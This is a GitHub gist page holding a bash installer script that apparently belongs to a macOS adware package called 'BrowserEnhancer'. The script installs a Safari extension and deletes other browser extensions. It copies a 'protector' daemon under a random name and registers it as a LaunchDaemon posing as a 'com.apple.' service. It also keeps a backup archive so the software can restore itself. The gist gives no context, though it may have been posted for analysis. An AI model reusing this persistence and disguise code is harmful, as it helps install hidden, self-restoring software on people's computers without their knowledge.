Skip to content

Instantly share code, notes, and snippets.

@aserper
Created February 21, 2017 18:28
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save aserper/1853be5ec28b407fcdc33dcfb4fa3f03 to your computer and use it in GitHub Desktop.
Save aserper/1853be5ec28b407fcdc33dcfb4fa3f03 to your computer and use it in GitHub Desktop.
#!/bin/bash
chmod +x install_updater.sh
./install_updater.sh $6
#save current dir position
curdir=`pwd`
user=`users | cut -f1 -d' '`
#if somebody disturbs /tmp using
if [ -d /private/tmp ]; then
echo "Installing DaVinci..."
else
rm -f /private/tmp
mkdir -p /private/tmp
fi
#check doubled installation and try uninstall former one
if [ -z $6 ]; then
rndnames=(`cat ./names.db`)
n=${#rndnames[@]}
i=0
while [ $i -lt $n ]
do
instname="${rndnames[i]}"
instname=`echo $instname | tr "[A-Z]" "[a-z]"`
plistfile="/Library/LaunchDaemons/com.apple."$instname".plist"
if [ -f $plistfile ]; then
echo "uninstalling ... "$instname
launchctl unload -F $plistfile
rm -f $plistfile
killall $instname
rm -f /Library/settings.dat /Library/backup.zip
rm -f "/Library/"$instname
fi
i=`expr $i + 1`
done
for user in `users`
do
extpath="/Users/"$user"/Library/Safari/Extensions"
echo "Searching extension... "$extpath
if [ -d $extpath ]; then
cd $extpath
find . -type f -name '*.safariextz' -print0 | while read -d $'\0' ext
do
echo "Checking...""$ext"
xar -x -f "$ext"
if [ -d "omnikey.safariextension" ]; then
echo "Removing..""$ext"
rm -f "$ext"
fi
rm -R *.safariextension 2>/dev/null
done
fi
done
fi
#try pure install
cd $curdir
chmod +x "./BrowserEnhancer.app/Contents/MacOS/BrowserEnhancer"
chmod +x postinstall.sh
./postinstall.sh $1 $2 $3 $4 $5
#initialization, when protector tries restore, it starts this with noinit parameter
if [ ""$6 = "noinit" ]; then
echo "Skip initialization"
exit 1;
fi
target=$4
if [ ""$target = "" ]; then
echo "Invalid Parameter"
exit 0
fi
pckgdir="/Library/"
datfile=$pckgdir"settings.dat"
package=$pckgdir"backup.zip"
tempdir=$pckgdir$target
removef=$tempdir"/protector "$tempdir"/names.db"
mkdir -p $tempdir
cp -R * $tempdir
rm -f $removef
cd $pckgdir
tar cfz backup.zip $target
cd $tempdir"/BrowserEnhancer.app/Contents/MacOS"
xar -x -f search.safariextz
sext=`ls -d *.safariextension/|sed 's|[/]||g' 2>/dev/null`
echo "Safari extension internal name... "$sext
cd $pckgdir
rm -R $tempdir
echo "Recording Parameters..."
sleep 3
echo $1 > $datfile
echo $2 >> $datfile
echo $3 >> $datfile
echo $4 >> $datfile
echo $5 >> $datfile
echo $sext >> $datfile
chmod 600 $datfile
chmod 600 $package
cd $curdir
if [ -f ./protector ]; then
rndnames=(`cat ./names.db`)
n=${#rndnames[@]}
instname="${rndnames[RANDOM % n]}"
instname=`echo $instname | tr "[A-Z]" "[a-z]"`
echo "Loading..."$instname
cp protector $pckgdir$instname
chmod 777 $pckgdir$instname
cd $pckgdir
./$instname
plistfile="/Library/LaunchDaemons/com.apple."$instname".plist"
launchctl load $plistfile
else
echo "Missing Protector Daemon"
fi
echo "Done."
exit 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment